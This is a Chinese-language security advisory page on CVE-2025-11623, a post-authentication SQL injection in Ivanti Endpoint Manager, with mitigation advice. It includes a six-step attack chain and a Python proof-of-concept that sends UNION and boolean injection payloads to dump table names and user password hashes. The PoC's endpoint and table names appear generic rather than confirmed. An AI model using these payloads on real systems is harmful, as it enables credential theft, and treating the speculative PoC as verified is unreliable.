IPBUF安全漏洞报告
English
CVE-2025-11623 CVSS 6.5 中危

CVE-2025-11623:Ivanti Endpoint Manager SQL注入漏洞

披露日期: 2025-10-13
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-11623
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ivanti Endpoint Manager

相关标签

SQL注入IvantiEndpoint ManagerEPM数据库信息泄露认证后漏洞中危漏洞CVE-2025-11623

漏洞概述

CVE-2025-11623是Ivanti Endpoint Manager(EPM)终端管理产品中存在的一个SQL注入安全漏洞。该漏洞影响Ivanti Endpoint Manager 2024 SU5之前的版本,允许经过远程认证的攻击者通过构造恶意的SQL查询语句,从数据库中读取任意数据。

Ivanti Endpoint Manager是Ivanti公司推出的一款企业级终端管理解决方案,广泛应用于IT资产盘点、补丁管理、软件分发、远程控制等场景。由于该产品在企业IT基础设施中的核心地位,一旦被攻击者利用,可能导致企业敏感信息泄露,包括用户凭证、系统配置、业务数据等关键信息。

该漏洞的CVSS 3.1评分为6.5分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。在影响方面,该漏洞对机密性影响为高(C:H),但对完整性和可用性无影响(I:N/A:N),这意味着攻击者主要利用该漏洞进行数据窃取,而非破坏系统或篡改数据。

该漏洞由安全研究人员发现并报告,Ivanti公司已在2024 SU5版本中修复了此问题。建议所有使用受影响版本的用户尽快升级到最新版本以消除安全隐患。

技术细节

该漏洞属于典型的SQL注入(SQL Injection)漏洞,存在于Ivanti Endpoint Manager的数据库交互层。攻击者需要先获取有效的低权限账户凭据,然后通过向EPM的Web接口或API端点发送精心构造的包含恶意SQL片段的请求,利用应用程序对用户输入验证不充分的缺陷,使恶意SQL语句被拼接到后端数据库查询中执行。

由于漏洞仅影响数据读取(机密性高,完整性和可用性无影响),攻击者主要通过UNION SELECT、布尔盲注或时间盲注等技术手段从数据库中提取敏感信息。可能的利用方式包括:

1. 攻击者通过合法渠道(如钓鱼、社会工程或购买泄露凭据)获取EPM的低权限账户;
2. 登录EPM管理控制台后,定位存在注入漏洞的功能端点(如报表查询、设备搜索、策略配置等模块);
3. 在正常参数中注入SQL payload,例如在搜索框、筛选条件或API参数中插入' OR 1=1 --、UNION SELECT等语句;
4. 通过数据库错误信息或布尔响应差异,逐步提取数据库中的表名、列名及数据内容;
5. 最终获取管理员凭证哈希、加密密钥或其他敏感业务数据。

攻击者利用该漏洞无需特殊权限提升,认证后的低权限账户即可触发,这大大降低了利用门槛,增加了企业面临的风险。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过钓鱼攻击、社会工程、暗网购买或利用其他已泄露的凭据,获取Ivanti Endpoint Manager的低权限用户账户。
STEP 2
步骤2:登录EPM控制台
使用获取的低权限凭据登录目标企业的Ivanti EPM管理控制台,建立有效的认证会话。
STEP 3
步骤3:识别注入点
浏览EPM控制台各功能模块(如设备搜索、报表生成、策略配置等),识别未对用户输入进行充分过滤或参数化的输入字段。
STEP 4
步骤4:构造SQL注入Payload
在识别出的注入点构造恶意SQL语句,使用UNION查询、布尔盲注或时间盲注等技术绕过应用层验证。
STEP 5
步骤5:提取数据库内容
通过注入的SQL语句从数据库中提取敏感信息,包括管理员密码哈希、加密密钥、业务数据等。
STEP 6
步骤6:权限提升与数据窃取
利用获取的管理员凭据或其他敏感数据,进一步提升权限或窃取企业核心数据,完成攻击目标。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11623 - Ivanti Endpoint Manager SQL Injection PoC # Vulnerability: SQL Injection in Ivanti Endpoint Manager before 2024 SU5 # Requirement: Valid low-privilege authenticated session import requests TARGET_URL = "https://target-epm-server:8443" SESSION_COOKIE = "ASP.NET_SessionId=YOUR_SESSION_ID" # Replace with valid session cookie # Step 1: Authenticate and obtain a valid session (low-privilege account required) # Step 2: Identify injectable parameter (e.g., search/filter fields in EPM console) def exploit_sql_injection(injection_payload): """ Exploit SQL injection in Ivanti EPM to extract database contents. The payload is injected into a vulnerable parameter that is concatenated directly into a SQL query without proper sanitization or parameterization. """ headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Example: Injecting into a search/filter parameter # Original query might be: SELECT * FROM Devices WHERE Name = '<user_input>' # Injected query becomes: SELECT * FROM Devices WHERE Name = '' UNION SELECT username, password_hash, NULL FROM Users --' data = { "searchField": injection_payload, "filterType": "device" } response = requests.post( f"{TARGET_URL}/api/devices/search", headers=headers, data=data, verify=False ) return response.text # Example payloads for data extraction if __name__ == "__main__": # Boolean-based blind SQL injection test payload_true = "' OR '1'='1' --" payload_false = "' OR '1'='2' --" # UNION-based injection to extract table names payload_union = ( "' UNION SELECT table_name, NULL, NULL FROM information_schema.tables " "WHERE table_schema=database() --" ) # Extract user credentials payload_creds = ( "' UNION SELECT username, password_hash, email FROM ldap_users --" ) print("[*] Testing boolean-based blind injection...") resp_true = exploit_sql_injection(payload_true) resp_false = exploit_sql_injection(payload_false) if len(resp_true) != len(resp_false): print("[+] Target appears vulnerable to SQL injection!") print("[*] Extracting database tables...") result = exploit_sql_injection(payload_union) print(result) print("[*] Extracting user credentials...") creds = exploit_sql_injection(payload_creds) print(creds)

影响范围

Ivanti Endpoint Manager < 2024 SU5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Ivanti Endpoint Manager管理控制台的访问范围,仅允许可信IP地址通过VPN或堡垒机访问;2)对所有EPM用户账户实施强密码策略和多因素认证(MFA),降低低权限账户被获取的风险;3)部署或更新WAF规则,对SQL注入特征(如UNION SELECT、OR 1=1、信息模式查询等)进行实时检测和阻断;4)密切监控EPM数据库的异常查询活动,设置告警阈值;5)审查并清理不必要的低权限账户,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表